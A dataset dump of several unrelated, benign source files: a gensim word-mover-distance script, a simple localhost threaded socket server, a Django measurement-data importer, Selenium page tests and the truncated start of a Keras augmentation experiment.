logfile1=open(\"D:/zlxNLP/semantic_similarity/dataForTest/summary_sim_1.txt\",'w', encoding='UTF-8')\r\n simDict={}\r\n i=0\r\n for line in open(\"D:/zlxNLP/semantic_similarity/dataForTest/output.txt\",'r', encoding='UTF-8'):\r\n\r\n if i <2:\r\n i+=1\r\n print(i)\r\n content=line.replace('\\n','').split('\\t')\r\n summaryWords1=[]\r\n if len(content)==2:\r\n term_list=content[1].split('|')\r\n for w in term_list:\r\n summaryWords1.append(w.split(\":\")[0])\r\n # print(summaryWords1)\r\n for line in open(\"D:/zlxNLP/semantic_similarity/dataForTest/output.txt\",'r', encoding='UTF-8'):\r\n content=line.replace('\\n','').split('\\t')\r\n summaryWords2=[]\r\n if len(content)==2:\r\n term_list=content[1].split('|')\r\n for w in term_list:\r\n summaryWords2.append(w.split(\":\")[0])\r\n # print(summaryWords2)\r\n distance = model.wmdistance(summaryWords1, summaryWords2)\r\n simDict[('|'.join(summaryWords1)+' 和 '+ '|'.join(summaryWords2))]=distance\r\n logfile1.write('{} 和 {}distance ={:.2f}' .format ('|'.join(summaryWords1), '|'.join(summaryWords2),distance)+'\\n')\r\n #对simDict进行排序 distance越小，则两个summary越相似\r\n # after=dict(sorted(simDict.items(),key = lambda x:x[1],reverse =True)) #降序排列\r\n\r\n after=dict(sorted(simDict.items(),key = lambda x:x[1],reverse =False)) #升序排列\r\n\r\n # logfile.write(str(after))\r\n # logfile.close()\r\n\r\n js = json.dumps(after)\r\n # file = open('test.txt', 'w')\r\n logfile.write(js)\r\n logfile.close()\r\n # 取出前几个， 也可以在sorted返回的list中取前几个\r\n cnt = 0\r\n for key, value in after.items():\r\n # print(\"{}:{}\".format(key, value))\r\n if value>0:\r\n cnt += 1\r\n if cnt > 100:\r\n break\r\n print(\"{}:{}\".format(key, value))\r\n '''\r\n #读取字典\r\n file= open(\"D:/zlxNLP/semantic_similarity/dataForTest/summary_sim.txt\",'r',encoding='utf-8')\r\n js = file.read()\r\n dic = json.loads(js)\r\n file.close()\r\n\r\n # 取出前几个， 也可以在sorted返回的list中取前几个\r\n cnt = 0\r\n for key, value in dic.items():\r\n if value>0:\r\n cnt += 1\r\n if cnt > 100:\r\n break\r\n print(\"{}:{}\".format(key, value))\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n", "sub_path": "gensim_wmd.py", "file_name": "gensim_wmd.py", "file_ext": "py", "file_size_in_byte": 5225, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "time.time", "line_number": 2, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 11, "usage_type": "call"}, {"api_name": "time.time", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path", "line_number": 17, "usage_type": "attribute"}, {"api_name": "gensim.models.KeyedVectors.load_word2vec_format", "line_number": 20, "usage_type": "call"}, {"api_name": "gensim.models.KeyedVectors", "line_number": 20, "usage_type": "name"}, {"api_name": "time.time", "line_number": 22, "usage_type": "call"}, {"api_name": "time.time", "line_number": 33, "usage_type": "call"}, {"api_name": "time.time", "line_number": 40, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 110, "usage_type": "call"}]} +{"seq_id": "319610503", "text": "'''Trabalho Prático 2.\nGrupo:\nAlessandro Luís Moreira.\nGabriele Iara Ferreira.\nLuísa Vitória Guimarães Silva.\nTaylon Higor Pinheiro Costa.\nTiago Mercês Rosário. '''\n\nfrom threading import Thread # importação da biblioteca que permite threads, permitem aplicações rodando em paralelo.\nimport socket # importação da biblioteca de conexão.\nimport datetime as dt # importação da biblioteca de horas.\n\nclass ThreadCliente(Thread):\n# Criando a thread de clientes, para processar mais de um cliente em paralelo.\n def __init__(self, addr):\n Thread.__init__(self)\n self.host = addr[0]\n self.porta = addr[1]\n print(\"Nova conexao de \" + str(self.host) + \", na porta \" + str(self.porta))\n\n def run(self):\n while True:\n data = conn.recv(1024) # Recebe dados de acordo com o buffer. Neste caso, 1024 bits.\n if not data:\n break\n print(data) #Imprime dados da requisição.\n str = (\"hora de antendimento: %s:%s\" % (dt.datetime.now().hour, dt.datetime.now().minute))\n conn.sendall(str.encode('ascii')) # Envia resposta ao cliente.\n\n# definindo servidor e porta.\nHOST = '127.0.0.1'\nPORTA = 65432\n\n#Estabelecendo conexão IPV4 e TCP.\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n s.bind((HOST, PORTA)) # Associa um host a uma porta.\n threads = [] # Instanciando uma lista de threads.\n\n while True:\n s.listen(4) # Deixa o socket aberto aguardando conexões.\n print(\"server up\") # Retorno caso haja conexão, confirmando que o servidor está ok.\n conn, addr = s.accept() # Aceitando conexão.\n n_thread = ThreadCliente(addr) # Inicia endereço de cada cliente.\n n_thread.start() # Startando a thread.\n threads.append(n_thread) # Dando sequência a lista de clientes\n", "sub_path": "exercicio_3/servidor.py", "file_name": "servidor.py", "file_ext": "py", "file_size_in_byte": 1901, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "threading.Thread", "line_number": 13, "usage_type": "name"}, {"api_name": "threading.Thread.__init__", "line_number": 16, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 16, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 27, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 27, "usage_type": "attribute"}, {"api_name": "socket.socket", "line_number": 35, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 35, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 35, "usage_type": "attribute"}, {"api_name": "socket.SOL_SOCKET", "line_number": 36, "usage_type": "attribute"}, {"api_name": "socket.SO_REUSEADDR", "line_number": 36, "usage_type": "attribute"}]} +{"seq_id": "508650583", "text": "# coding: utf-8\n\nimport logging\nimport re\nimport warnings\nfrom collections import namedtuple\n\nfrom django.conf import settings\nfrom django.core.exceptions import PermissionDenied, ValidationError\nfrom django.utils.translation import ugettext as _\nfrom six import string_types\n\nfrom .. import models, redis\n\nlogger = logging.getLogger(__name__)\nMType = namedtuple(\"MType\", [\"compartment\", \"type\", \"unit\"])\nNO_TYPE = MType(models.Measurement.Compartment.UNKNOWN, None, None)\n\n\nMODE_PROTEOMICS = \"pr\"\nMODE_SKYLINE = \"skyline\"\nMODE_TRANSCRIPTOMICS = \"tr\"\n\n\nclass ImportException(Exception):\n pass\n\n\nclass ImportTooLargeException(ImportException):\n pass\n\n\nclass ImportBoundsException(ImportException):\n pass\n\n\nclass ImportBroker:\n def __init__(self):\n self.storage = redis.ScratchStorage(\n key_prefix=f\"{__name__}.{self.__class__.__name__}\"\n )\n\n def _import_name(self, import_id):\n return f\"{import_id}\"\n\n def set_context(self, import_id, context):\n name = self._import_name(import_id)\n expires = getattr(settings, \"EDD_IMPORT_CACHE_LENGTH\", None)\n self.storage.save(context, name=name, expires=expires)\n\n def add_page(self, import_id, page):\n name = f\"{self._import_name(import_id)}:pages\"\n expires = getattr(settings, \"EDD_IMPORT_CACHE_LENGTH\", None)\n _, count = self.storage.append(page, name=name, expires=expires)\n return count\n\n def check_bounds(self, import_id, page, expected_count):\n size = getattr(settings, \"EDD_IMPORT_PAGE_SIZE\", 1000)\n limit = getattr(settings, \"EDD_IMPORT_PAGE_LIMIT\", 1000)\n if len(page) > size:\n # TODO uncovered\n raise ImportTooLargeException(f\"Page size is greater than maximum {size}\")\n # END uncovered\n if expected_count > limit:\n # TODO uncovered\n raise ImportTooLargeException(\n f\"Total number of pages is greater than allowed maximum {limit}\"\n )\n # END uncovered\n name = f\"{self._import_name(import_id)}:pages\"\n if self.storage.page_count(name) >= expected_count:\n # TODO uncovered\n raise ImportBoundsException(\"Data is already cached for import\")\n # END uncovered\n\n def clear_context(self, import_id):\n self.storage.delete(self._import_name(import_id))\n\n def clear_pages(self, import_id):\n \"\"\"\n Clears all pages associated with this import ID\n \"\"\"\n self.storage.delete(f\"{self._import_name(import_id)}:pages\")\n\n def load_context(self, import_id):\n \"\"\"\n Loads context associated with this import ID\n :return: the context, or None if none has been set\n \"\"\"\n return self.storage.load(self._import_name(import_id))\n\n def load_pages(self, import_id):\n \"\"\"\n Fetches the pages of series data for the specified import\n :returns: a generator of the stored values (binary strings)\n \"\"\"\n return self.storage.load_pages(f\"{self._import_name(import_id)}:pages\")\n\n\nclass TableImport(object):\n \"\"\"\n Object to handle processing of data POSTed to /study/{id}/import view and add\n measurements to the database.\n \"\"\"\n\n def __init__(self, study, user):\n \"\"\"\n Creates an import handler.\n\n :param study: the target study for import\n :param user: the user performing the import\n :raises: PermissionDenied if the user does not have write access to the study\n \"\"\"\n\n # context for how import data are processed\n self.mode = None\n self.master_compartment = models.Measurement.Compartment.UNKNOWN\n self.master_mtype_id = None\n # EDD bootstrap sets \"n/a\" units as ID 1\n self.master_unit_id = 1\n self.replace = False\n\n self._study = study\n self._user = user\n # lookups for line/assay by names\n self._line_assay_lookup = {}\n self._line_lookup = {}\n self._meta_lookup = {}\n self._valid_protocol = {}\n # lookups for line/assay by IDs\n self._line_by_id = {}\n self._assay_by_id = {}\n # end up looking for hours repeatedly, just load once at init\n self._hours = models.MeasurementUnit.objects.get(unit_name=\"hours\")\n if not self._study.user_can_write(user):\n # TODO uncovered\n raise PermissionDenied(\n f'{user.username} does not have write access to study \"{study.name}\"'\n )\n # END uncovered\n\n def parse_context(self, context):\n \"\"\"\n Takes a dict of miscellaneous control flags from the import front-end,\n setting the corresponding attributes on this import object. The complete\n list of flags is out of scope of this function, but the list of flags\n this function looks for are:\n\n - \"datalayout\": radio buttons from Step 1 of front-end, values one of:\n \"std\", \"skyline\", \"tr\", \"hplc\", \"mdv\", \"biolector\"\n - \"masterMCompValue\": autocomplete dropdown from Step 4, for the\n compartment to use for all imported points. Corresponds to values\n from main.models.Measurement.Compartment.CHOICES: 0, 1, 2\n - \"masterMTypeValue\": autocomplete dropdown from Step 4, for the\n type to use for all imported points. Corresponds to primary key\n of main.models.MeasurementType\n - \"masterMUnitsValue\": autocomplete dropdown from Step 4, for the\n y-units to use for all imported points. Corresponds to primary\n key of main.models.MeasurementUnit\n - \"writemode\": radio buttons for merge/replace in Step 1, value is\n either \"m\" (for merge) or \"r\" (for replace)\n \"\"\"\n self.mode = context.get(\"datalayout\", None)\n self.master_compartment = context.get(\"masterMCompValue\", None)\n # some import modes will send an empty string for master_compartment\n if not self.master_compartment:\n self.master_compartment = models.Measurement.Compartment.UNKNOWN\n self.master_mtype_id = context.get(\"masterMTypeValue\", None)\n self.master_unit_id = context.get(\"masterMUnitsValue\", 1)\n # some import modes will send an empty string for master_unit_id\n if not self.master_unit_id:\n self.master_unit_id = 1\n self.replace = context.get(\"writemode\", None) == \"r\"\n\n def import_series_data(self, series_data):\n \"\"\"\n Imports a list of measurement values into the study.\n\n An item in the series data is a dict serialized from the TypeScript\n class ResolvedImportSet:\n - \"kind\": unused\n - \"hint\": hint from front-end that a measurement type belongs to\n a group from main.models.MeasurementType.Group\n - \"line_name\": name picked for line by file parser\n - \"assay_name\": name picked for assay by file parser\n - \"measurement_name\": name for measurement type\n - \"metadata_by_name\": unused\n - \"protocol_id\": primary key of main.models.Protocol used for measurement\n - \"line_id\": primary key of main.models.Line used for measurement\n - \"assay_id\": primary key of main.models.Assay used for measurement\n - \"measurement_id\": primary key of main.models.MeasurementType used for measurement\n - \"compartment_id\": value of main.models.MeasurementType.Compartment\n - \"units_id\": primary key of main.models.MeasurementUnit for y-units\n - \"metadata_by_id\": dict of main.models.MetadataType keys to arbitrary values\n - \"data\": a list of 2-tuples of x,y values; each x and y can be a string or number\n\n :param series_data: list of individual measurement values to import\n :return: a tuple with a summary of measurement counts in the form (added, updated)\n \"\"\"\n self.check_series_points(series_data)\n self.init_lines_and_assays(series_data)\n return self.create_measurements(series_data)\n\n def finish_import(self):\n # after importing, force updates of previously-existing lines and assays\n for assay in self._assay_by_id.values():\n # force refresh of Assay's Update (also saves any changed metadata)\n # TODO uncovered\n assay.save(update_fields=[\"metadata\", \"updated\"])\n # END uncovered\n for line in self._line_by_id.values():\n # force refresh of Update (also saves any changed metadata)\n line.save(update_fields=[\"metadata\", \"updated\"])\n # and force update of the study\n self._study.save(update_fields=[\"metadata\", \"updated\"])\n\n def check_series_points(self, series):\n \"\"\"\n Checks that each item in the series has some data or metadata, and sets a\n 'nothing to import' value for the item when there is no data/metadata to add.\n \"\"\"\n for item in series:\n points = item.get(\"data\", [])\n meta = item.get(\"metadata_by_id\", {})\n for meta_id in meta:\n # TODO uncovered\n # don't care about return value here\n self._metatype(meta_id)\n # END uncovered\n if len(points) == 0 and len(meta) == 0:\n # TODO uncovered\n item[\"nothing_to_import\"] = True\n # END uncovered\n\n def init_lines_and_assays(self, series):\n \"\"\"\n Client-side code detects labels for assays/lines, and allows the user to select\n an \"ID\" for each label; these ids are passed along in each set and are used to resolve\n actual Line and Assay instances.\n \"\"\"\n for item in series:\n item[\"assay_obj\"] = self._init_item_assay(item)\n\n def _init_item_assay(self, item):\n assay = None\n assay_id = item.get(\"assay_id\", None)\n assay_name = item.get(\"assay_name\", None)\n if assay_id is None:\n # TODO uncovered\n logger.warning(\"Import set has undefined assay_id field.\")\n item[\"invalid_fields\"] = True\n # END uncovered\n elif assay_id in self._assay_by_id:\n # TODO uncovered\n assay = self._assay_by_id.get(assay_id)\n # END uncovered\n elif assay_id not in [\"new\", \"named_or_new\"]:\n # attempt to lookup existing assay\n # TODO uncovered\n try:\n assay = models.Assay.objects.get(\n pk=assay_id, line__study_id=self._study.pk\n )\n self._assay_by_id[assay_id] = assay\n except models.Assay.DoesNotExist:\n logger.warning(\n f\"Import set cannot load Assay,Study: {assay_id},{self._study.pk}\"\n )\n item[\"invalid_fields\"] = True\n # END uncovered\n else:\n # At this point we know we need to create an Assay, or reference one we created\n # earlier. The question is, for which Line and Protocol? Now protocol_id is essential,\n # so we check it.\n protocol = self._init_item_protocol(item)\n line = self._init_item_line(item)\n if protocol is not None and line is not None:\n if assay_name is None or assay_name.strip() == \"\":\n # if we have no name, 'named_or_new' and 'new' are treated the same\n index = line.new_assay_number(protocol)\n assay_name = models.Assay.build_name(line, protocol, index)\n key = (line.id, assay_name)\n if key in self._line_assay_lookup:\n assay = self._line_assay_lookup[key]\n else:\n assay = line.assay_set.create(\n name=assay_name,\n protocol=protocol,\n study_id=line.study_id,\n experimenter=self._user,\n )\n logger.info(f\"Created new Assay {assay.id}:{assay_name}\")\n self._line_assay_lookup[key] = assay\n return assay\n\n def _init_item_line(self, item):\n line = None\n line_id = item.get(\"line_id\", None)\n line_name = item.get(\"line_name\", None)\n if line_id is None:\n # TODO uncovered\n logger.warning(\n \"Import set needs new Assay but has undefined line_id field.\"\n )\n item[\"invalid_fields\"] = True\n # END uncovered\n elif line_id == \"new\":\n # If the label is 'None' we attempt to locate (or if missing, create) a Line named\n # 'New Line'.\n # (If a user wants a new Line created but has not specified a name, it means we have\n # no way of distinguishing one new Line request in a multi-set import from any other.\n # So the only sane behavior is to place all the sets under one Line.)\n # TODO uncovered\n if line_name is None or line_name.strip() == \"\":\n line_name = _(\"New Line\")\n if line_name in self._line_lookup:\n line = self._line_lookup[line_name]\n else:\n line = self._study.line_set.create(\n name=line_name, contact=self._user, experimenter=self._user\n )\n self._line_lookup[line_name] = line\n logger.info(\"Created new Line %s:%s\" % (line.id, line.name))\n # END uncovered\n elif line_id in self._line_by_id:\n line = self._line_by_id.get(line_id)\n else:\n try:\n line = models.Line.objects.get(pk=line_id, study_id=self._study.pk)\n self._line_by_id[line_id] = line\n # TODO uncovered\n except models.Line.DoesNotExist:\n logger.warning(\n \"Import set cannot load Line,Study: %(line_id)s,%(study_id)s\"\n % {\"line_id\": line_id, \"study_id\": self._study.pk}\n )\n item[\"invalid_fields\"] = True\n # END uncovered\n return line\n\n def _init_item_protocol(self, item):\n protocol_id = item.get(\"protocol_id\", None)\n if protocol_id is None:\n # TODO uncovered\n logger.warning(\n \"Import set needs new Assay, but has undefined protocol_id field.\"\n )\n item[\"invalid_fields\"] = True\n # END uncovered\n elif protocol_id not in self._valid_protocol:\n # when protocol ID valid, map to itself, otherwise map to None\n protocol = None\n try:\n protocol = models.Protocol.objects.get(pk=protocol_id)\n # TODO uncovered\n except models.Protocol.DoesNotExist:\n pass\n # END uncovered\n self._valid_protocol[protocol_id] = protocol\n result = self._valid_protocol.get(protocol_id, None)\n if result is None:\n # TODO uncovered\n logger.warning(\"Import set cannot load protocol %s\" % (protocol_id))\n item[\"invalid_fields\"] = True\n # END uncovered\n return result\n\n def create_measurements(self, series):\n added = 0\n updated = 0\n # TODO: During a standard-size biolector import (~50000 measurement values) this loop runs\n # very slowly on my test machine, consistently taking an entire second per set (approx 300\n # values each). To an end user, this makes the submission appear to hang for over a\n # minute, which might make them behave erratically...\n\n # TODO: try doing loop twice, first with models.Measurement.objects.bulk_create()\n # then with models.MeasurementValue.objects.bulk_create()\n for (index, item) in enumerate(series):\n points = item.get(\"data\", [])\n meta = item.get(\"metadata_by_id\", {})\n if item.get(\"nothing_to_import\", False):\n # TODO uncovered\n logger.warning(f\"Skipped set {index} because it has no data\")\n # END uncovered\n elif item.get(\"invalid_fields\", False):\n # TODO uncovered\n logger.warning(f\"Skipped set {index} because it has invalid fields\")\n # END uncovered\n elif item.get(\"assay_obj\", None) is None:\n # TODO uncovered\n logger.warning(f\"Skipped set {index} because no assay could be loaded\")\n # END uncovered\n else:\n assay = item[\"assay_obj\"]\n record = self._load_measurement_record(item)\n (points_added, points_updated) = self._process_measurement_points(\n record, points\n )\n added += points_added\n updated += points_updated\n self._process_metadata(assay, meta)\n return (added, updated)\n\n def _load_measurement_record(self, item):\n assay = item[\"assay_obj\"]\n points = item.get(\"data\", [])\n mtype = self._mtype(item)\n\n find = {\n \"active\": True,\n \"compartment\": mtype.compartment,\n \"measurement_type_id\": mtype.type,\n \"measurement_format\": self._mtype_guess_format(points),\n \"x_units\": self._hours,\n \"y_units_id\": mtype.unit,\n }\n logger.debug(f\"Finding measurements for {find}\")\n records = assay.measurement_set.filter(**find)\n\n if records.count() > 0:\n # TODO uncovered\n if self.replace:\n records.delete()\n else:\n # only SELECT query once\n record = records[0]\n # force refresh of Update\n record.save(update_fields=[\"update_ref\"])\n return record\n # END uncovered\n find.update(experimenter=self._user, study_id=assay.study_id)\n logger.debug(\"Creating measurement with: %s\", find)\n return assay.measurement_set.create(**find)\n\n def _process_measurement_points(self, record, points):\n total_added = 0\n total_updated = 0\n for x, y in points:\n (xvalue, yvalue) = (self._extract_value(x), self._extract_value(y))\n obj, created = record.measurementvalue_set.update_or_create(\n study_id=record.study_id, x=xvalue, defaults={\"y\": yvalue}\n )\n if created:\n total_added += 1\n else:\n # TODO uncovered\n total_updated += 1\n # END uncovered\n return (total_added, total_updated)\n\n def _process_metadata(self, assay, meta):\n if len(meta) > 0:\n # TODO uncovered\n if self.replace:\n # would be simpler to do assay.metadata.clear()\n # but we only want to replace types included in import data\n for metatype in self._meta_lookup.values():\n if metatype.pk in assay.metadata:\n del assay.metadata[metatype.pk]\n elif metatype.pk in assay.line.metadata:\n del assay.line.metadata[metatype.pk]\n for meta_id, value in meta.items():\n metatype = self._metatype(meta_id)\n if metatype is not None:\n if metatype.for_line():\n assay.line.metadata[metatype.pk] = value\n elif metatype.for_protocol():\n assay.metadata[metatype.pk] = value\n # END uncovered\n\n def _extract_value(self, value):\n # make sure input is string first, split on slash or colon, and give back array of numbers\n try:\n return list(map(float, re.split(\"/|:\", str(value).replace(\",\", \"\"))))\n # TODO uncovered\n except ValueError:\n warnings.warn(f'Value \"{value}\" could not be interpreted as a number')\n return []\n # END uncovered\n\n def _load_compartment(self, item):\n compartment = item.get(\"compartment_id\", self.master_compartment)\n if not compartment:\n # replace empty values with default\n compartment = self.master_compartment\n return compartment\n\n def _load_hint(self, item):\n return item.get(\"hint\", self.mode)\n\n def _load_name(self, item):\n name = item.get(\"measurement_name\", None)\n if name:\n # drop any non-ascii characters; copying values from e.g. Google search\n # would include some invisible unicode that screws with pattern matching\n name = name.encode(\"ascii\", \"ignore\").decode(\"utf-8\")\n return name\n\n def _load_type_id(self, item):\n return item.get(\"measurement_id\", self.master_mtype_id)\n\n def _load_unit(self, item):\n return item.get(\"units_id\", self.master_unit_id)\n\n def _metatype(self, meta_id):\n # TODO uncovered\n if meta_id not in self._meta_lookup:\n try:\n self._meta_lookup[meta_id] = models.MetadataType.objects.get(pk=meta_id)\n except models.MetadataType.DoesNotExist:\n logger.warning(\"No MetadataType found for %s\" % meta_id)\n return self._meta_lookup.get(meta_id, None)\n # END uncovered\n\n def _mtype(self, item):\n \"\"\"\n Attempts to infer the measurement type of the input item from the general import mode\n specified in the input / in Step 1 of the import GUI.\n\n :param item: a dictionary containing the JSON data for a single measurement item sent\n from the front end\n :return: the measurement type, or the specified default if no better one is found\n \"\"\"\n mtype_fn_lookup = {\n MODE_PROTEOMICS: self._mtype_proteomics,\n MODE_TRANSCRIPTOMICS: self._mtype_transcriptomics,\n models.MeasurementType.Group.GENEID: self._mtype_transcriptomics,\n models.MeasurementType.Group.PROTEINID: self._mtype_proteomics,\n }\n mtype_fn = mtype_fn_lookup.get(self._load_hint(item), self._mtype_default)\n return mtype_fn(item, NO_TYPE)\n\n def _mtype_default(self, item, default=None):\n compartment = self._load_compartment(item)\n type_id = self._load_type_id(item)\n units_id = self._load_unit(item)\n # if type_id is not set, assume it's a lookup pattern\n if not type_id:\n for lookup in [self._mtype_metabolomics, self._mtype_proteomics]:\n try:\n found = lookup(item, default=None)\n if found is not None:\n return found\n except ValidationError:\n pass\n # TODO uncovered\n name = self._load_name(item)\n raise ValidationError(\n _(\n \"No existing type matched for {name} and EDD cannot interpret as \"\n \"a metabolite or protein ID.\"\n ).format(name=name)\n )\n # END uncovered\n return MType(compartment, type_id, units_id)\n\n def _mtype_metabolomics(self, item, default=None):\n found_type = default\n compartment = self._load_compartment(item)\n measurement_name = self._load_name(item)\n units_id = self._load_unit(item)\n metabolite = models.Metabolite.load_or_create(measurement_name)\n # TODO uncovered\n found_type = MType(compartment, metabolite.pk, units_id)\n return found_type\n # END uncovered\n\n def _mtype_proteomics(self, item, default=None):\n found_type = default\n compartment = self._load_compartment(item)\n measurement_name = self._load_name(item)\n units_id = self._load_unit(item)\n protein = models.ProteinIdentifier.load_or_create(measurement_name, self._user)\n found_type = MType(compartment, protein.pk, units_id)\n return found_type\n\n def _mtype_transcriptomics(self, item, default=None):\n # TODO uncovered\n compartment = self._load_compartment(item)\n measurement_name = self._load_name(item)\n units_id = self._load_unit(item)\n gene = models.GeneIdentifier.load_or_create(measurement_name, self._user)\n return MType(compartment, gene.pk, units_id)\n # END uncovered\n\n def _mtype_guess_format(self, points):\n if self.mode == \"mdv\":\n # TODO uncovered\n # carbon ratios are vectors\n return models.Measurement.Format.VECTOR\n # END uncovered\n elif self.mode in (MODE_TRANSCRIPTOMICS, MODE_PROTEOMICS):\n # TODO uncovered\n # always single values\n return models.Measurement.Format.SCALAR\n # END uncovered\n elif len(points):\n # if first value looks like carbon ratio (vector), treat all as vector\n (x, y) = points[0]\n # several potential inputs to handle: list, string, numeric\n if isinstance(y, list):\n # TODO uncovered\n return models.Measurement.Format.VECTOR\n # END uncovered\n elif isinstance(y, string_types) and (\"/\" in y or \":\" in y or \"|\" in y):\n # TODO uncovered\n return models.Measurement.Format.VECTOR\n # END uncovered\n return models.Measurement.Format.SCALAR\n", "sub_path": "server/main/importer/table.py", "file_name": "table.py", "file_ext": "py", "file_size_in_byte": 25522, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "logging.getLogger", "line_number": 15, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 16, "usage_type": "call"}, {"api_name": "django.conf.settings", "line_number": 48, "usage_type": "argument"}, {"api_name": "django.conf.settings", "line_number": 53, "usage_type": "argument"}, {"api_name": "django.utils.translation.ugettext", "line_number": 54, "usage_type": "name"}, {"api_name": "django.conf.settings", "line_number": 58, "usage_type": "argument"}, {"api_name": "django.conf.settings", "line_number": 59, "usage_type": "argument"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 137, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext", "line_number": 315, "usage_type": "call"}, {"api_name": "re.split", "line_number": 474, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 477, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 544, "usage_type": "name"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 548, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext", "line_number": 549, "usage_type": "call"}, {"api_name": "six.string_types", "line_number": 605, "usage_type": "argument"}]} +{"seq_id": "252853599", "text": "import unittest\nimport functools\n\nfrom .base_test_class import SearchPageTestCase\n\nfrom tests.selenium import utils\n\n\nclass CandidatesPageTests(SearchPageTestCase):\n\n def setUp(self):\n self.url = self.base_url + '/candidates'\n\n def testCandidatesPageLoads(self):\n self.driver.get(self.url)\n self.assertEqual(\n self.driver.find_element_by_class_name('tst-page-title').text.lower(),\n 'candidates',\n )\n\n def testCandidatesFilterSideBar(self):\n self.driver.get(self.url)\n filters = self.driver.find_element_by_id('filters')\n self.assertIn('is-open', filters.get_attribute('class'))\n\n @unittest.skip('Will fail unless we ensure that subset data includes Mark Alliegro')\n def testCandidateNameFilter(self):\n self.driver.get(self.url)\n name_div = self.getFilterDivByName('name')\n name_div.find_element_by_tag_name('input').send_keys('Alliegro')\n self.driver.find_element_by_id('category-filters').submit()\n self.assertEqual(\n len(self.driver.find_element_by_tag_name('tbody')\n .find_elements_by_tag_name('tr')),\n 1)\n self.assertEqual(\n self.driver.find_element_by_class_name('single-link').text,\n 'ALLIEGRO, MARK C')\n\n def testCandidateCycleFilter(self):\n def checker(entry, result):\n parts = [int(part) for part in result.split(' - ')]\n if len(parts) == 1:\n return parts[0] in [entry, entry + 1]\n if len(parts) == 2:\n lower, upper = parts\n return (lower <= entry <= upper) or (lower <= entry + 1 <= upper)\n return False\n self.check_filter('cycle', '2014', 2, functools.partial(checker, 2013))\n\n def testCandidatePartyFilter(self):\n self.check_filter('party', 'REP', 3, 'Republican Party')\n\n def testCandidateStateFilter(self):\n self.check_filter('state', 'AL', 4, 'AL')\n\n def testCandidateDistrictFilter(self):\n self.check_filter('district', '01', 5, '01')\n\n def testCandidateOfficeFilter(self):\n self.check_filter('office', 'P', 1, 'President')\n\n def test_candidate_filter_history(self):\n self.check_filter('state', 'AL', 4, 'AL')\n self.assertIn('state=AL', self.driver.current_url)\n self.check_filter('state', 'AR', 4, {'AL', 'AR'}, refresh=False, expand=False)\n self.assertIn('state=AL', self.driver.current_url)\n self.assertIn('state=AR', self.driver.current_url)\n\n # Test back behavior\n self.driver.back()\n self.check_filter_results(4, 'AL')\n self.assertIn('state=AL', self.driver.current_url)\n self.assertNotIn('state=AR', self.driver.current_url)\n self.assertIn('state=AL', self.driver.current_url)\n\n # Test forward behavior\n self.driver.forward()\n self.check_filter_results(4, {'AL', 'AR'})\n self.assertIn('state=AL', self.driver.current_url)\n self.assertIn('state=AR', self.driver.current_url)\n\n # Uncheck filters and verify empty query string\n self.click_filter('state', 'AR', expand=False)\n self.click_filter('state', 'AL', expand=False)\n utils.wait_for_event(self.driver, 'draw.dt', 'draw')\n self.assertNotIn('state=AL', self.driver.current_url)\n self.assertNotIn('state=AR', self.driver.current_url)\n", "sub_path": "tests/selenium/candidates_list_page_test.py", "file_name": "candidates_list_page_test.py", "file_ext": "py", "file_size_in_byte": 3397, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "base_test_class.SearchPageTestCase", "line_number": 9, "usage_type": "name"}, {"api_name": "unittest.skip", "line_number": 26, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 49, "usage_type": "call"}, {"api_name": "tests.selenium.utils.wait_for_event", "line_number": 86, "usage_type": "call"}, {"api_name": "tests.selenium.utils", "line_number": 86, "usage_type": "name"}]} +{"seq_id": "590390920", "text": "# https://www.hhllcks.de/blog/2018/5/4/version-your-machine-learning-models-with-sacred\n# https://blog.keras.io/building-powerful-image-classification-models-using-very-little-data.html\n\n# run with python 04_model_play.py with seed=0\n# loss matches at each epoch. Also at evaluation\n# Solution: fix seed in python hash, numpy, tensorflor. Fix thread in tensorflor. -> training process fixed\n# use generator length as steps for evaluate_generator -> evaluation fixed\n# Augmentation using ImageDataGenerator breaks reproducibility\n\nimport os\nimport numpy as np\nimport random as rn\nfrom tqdm import tqdm\nimport matplotlib.pyplot as plt\n\nfrom sacred import Experiment\nfrom sacred.observers import MongoObserver\nfrom sacred.utils import apply_backspaces_and_linefeeds\n\nex = Experiment('keras_augment_05')\nex.observers.append(MongoObserver.create(url='localhost:27017',\n db_name='keras_augment_05'))\n\n@ex.config\ndef my_config():\n target_height = 64\n target_width = 64\n target_channel = 1\n epochs = 20\n batch_size = 32\n \n augment = [{\n# 'rotation_range': 40,\n 'rescale': 1./255,\n 'shear_range': 0.2,\n 'zoom_range': 0.2,\n 'horizontal_flip': True,\n }]\n \n convolution_layers = [\n {'filters': 64, 'kernel_size': (3, 3), 'activation': 'relu', 'padding': 'same'},\n {'filters': 64, 'kernel_size': (3, 3), 'activation': 'relu', 'padding': 'same'},\n {'filters': 128, 'kernel_size': (3, 3), 'activation': 'relu', 'padding': 'same'},\n {'filters': 128, 'kernel_size': (3, 3), 'activation': 'relu', 'padding': 